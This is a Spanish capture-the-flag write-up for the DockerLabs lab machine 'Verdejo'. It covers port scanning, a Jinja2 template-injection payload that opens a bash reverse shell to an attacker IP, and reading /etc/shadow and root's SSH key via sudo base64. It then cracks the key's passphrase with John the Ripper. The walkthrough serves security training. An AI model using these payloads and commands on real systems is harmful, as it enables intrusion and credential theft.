> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/verdejo.md).

# Verdejo

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Verdejo** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos `7z` para extraer los archivos del paquete descargado:

```bash
7z x verdejo.zip
```

<figure><img src="/files/PZovlhPa4fOj0ClTGDKx" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos el entorno con el script proporcionado:

```bash
bash auto_deploy.sh verdejo.tar
```

<figure><img src="/files/9DzNKC02I0zkrTR5PEeu" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Confirmamos que la máquina está activa mediante un `ping`:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/fbffCc9BRflbUsg6v8aY" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 8089:** Servicio desconocido.

<figure><img src="/files/t2XnR6xwn7e9X5sLMETq" alt=""><figcaption></figcaption></figure>

**3. Análisis Detallado:**

Realizamos un escaneo más exhaustivo de los puertos abiertos:

```bash
nmap -p22,80,8089 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.59.
* **Puerto 8089:** Servicio HTTP con Python/3.11.2 y Werkzeug/2.2.2 (probablemente una aplicación Flask).

<figure><img src="/files/Kdhfl1V9TvOI9EUCjM0d" alt=""><figcaption></figcaption></figure>

**4. Enumeración de Servicios:**

**4.1. Puerto 80 (HTTP):**

Al acceder al puerto 80, encontramos la página por defecto de Apache, que no proporciona información relevante.

<figure><img src="/files/F1q1An5aMR1lCacKwuTc" alt=""><figcaption></figcaption></figure>

**4.2. Puerto 8089 (Aplicación Flask):**

Al acceder al puerto 8089, encontramos una aplicación web con un formulario simple.

<figure><img src="/files/cxcCvvqM8GMUqTLfiATw" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Detección de Vulnerabilidad SSTI:**

Al inspeccionar el parámetro `user` en la URL, descubrimos que la aplicación es vulnerable a Server-Side Template Injection (SSTI), probablemente mediante Jinja2 (común en aplicaciones Flask).

**Referencias útiles:**

* [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection).
* [HackTricks - SSTI](https://book.hacktricks.wiki/es/pentesting-web/ssti-server-side-template-injection/index.html).

**2. Prueba de Concepto:**

Primero probamos un payload básico para confirmar la vulnerabilidad:

```
http://172.17.0.2:8089/?user={{7*7}}
```

La respuesta muestra **49**, confirmando la vulnerabilidad.

<figure><img src="/files/BP1nmnJnRXxr6hwCzztd" alt=""><figcaption></figcaption></figure>

**3. Obtención de Reverse Shell:**

Preparamos un puerto en escucha en nuestra máquina:

```bash
nc -nvlp 123
```

<figure><img src="/files/d0hawrx2I7b28iD0fVoa" alt=""><figcaption></figcaption></figure>

Ejecutamos el siguiente payload para obtener una reverse shell:

```
http://172.17.0.2:8089/?user={{+self._TemplateReference__context.cycler.__init__.__globals__.os.popen(%27bash+-c+\%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F100.100.100.4%2F123+0%3E%261\%27%27).read()+}}
```

<figure><img src="/files/OSEQUwUkx7Uhf8qK3JDR" alt=""><figcaption></figcaption></figure>

Recibimos la shell en nuestra consola, obteniendo acceso al sistema.

<figure><img src="/files/MxQQBDWGjR56tL2v9YWN" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Verificación de Privilegios SUDO:**

Ejecutamos `sudo -l` para ver qué comandos podemos ejecutar como `root`.

**Resultado:**

```bash
(root) NOPASSWD: /usr/bin/base64
```

<figure><img src="/files/j3X6rmknwpjAi62NQrYc" alt=""><figcaption></figcaption></figure>

**2. Explotación de Base64:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/base64/) para encontrar formas de explotar este binario con privilegios elevados.

Primero leemos el archivo `/etc/shadow`:

```bash
sudo base64 /etc/shadow | base64 --decode
```

<figure><img src="/files/gTkITDCMU62OjZ2aYIb3" alt=""><figcaption></figcaption></figure>

**3. Obtención del id\_rsa de Root:**

Como el puerto SSH está abierto, intentamos leer la clave privada de `root`:

```bash
sudo base64 /root/.ssh/id_rsa | base64 --decode
```

<figure><img src="/files/yqEj1HpHuoAB1KlyhQ3w" alt=""><figcaption></figcaption></figure>

**4. Conexión SSH:**

Transferimos el archivo `id_rsa` a nuestra máquina local y le asignamos los permisos adecuados:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/fRspgLLY1prWnb0RtNZl" alt=""><figcaption></figcaption></figure>

Intentamos conectarnos por SSH:

```bash
ssh -i id_rsa root@172.17.0.2
```

Sin embargo, nos solicita una contraseña para la clave privada.

<figure><img src="/files/95O1JQAKNhEvIUod1RFP" alt=""><figcaption></figcaption></figure>

**5. Descifrado de la Clave Privada:**

Utilizamos `ssh2john` para extraer el hash del archivo `id_rsa`:

```bash
ssh2john id_rsa > hash
```

<figure><img src="/files/weNaQYyRI0nLn9suUXDS" alt=""><figcaption></figcaption></figure>

Luego usamos John the Ripper con el diccionario `rockyou.txt` para intentar descifrar la contraseña:

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/sMiCwgc7GE5E448bJkhF" alt=""><figcaption></figcaption></figure>

Finalmente, obtenemos la contraseña y podemos conectarnos como `root`:

```bash
ssh -i id_rsa root@172.17.0.2
```

<figure><img src="/files/QdFkUOCHRjYURvb9DBhB" alt=""><figcaption></figcaption></figure>
